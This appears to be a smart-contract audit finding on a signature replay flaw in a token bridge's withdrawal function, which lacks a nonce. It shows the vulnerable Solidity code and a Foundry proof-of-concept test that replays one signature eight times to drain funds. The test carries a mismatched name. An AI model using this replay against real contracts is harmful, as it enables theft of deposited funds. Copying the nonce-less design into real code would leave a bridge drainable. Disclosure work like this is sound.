The Function withdrawTokensToL1 is vulnerable to Signature Replay attacks, allowing a bad actor to drain the bridge
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
The function withdrawTokensToL1 uses the function sendtoL1 which allows a user to withdraw funds from L2 to L1. The problem is that signature used does not have a nonce parameter. Without it, a user can reuse the same signature over and over again, completely draining the bridge. See the modified foundry test below where a user was able to withdraw more funds than what was originally deposited:
function testUserCannotWithdrawTokensWhenBridgePaused() public {
vm.startPrank(user2);
uint256 bigdepositAmount = 100e18;
deal(address(token), user2, bigdepositAmount);
token.approve(address(tokenBridge), bigdepositAmount);
tokenBridge.depositTokensToL2(user2, user2inL2, bigdepositAmount);
vm.stopPrank();
vm.startPrank(user);
uint256 depositAmount = 10e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
console.log("User balance is ", token.balanceOf(user));
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
console.log("user balance after replay is ", token.balanceOf(user));
}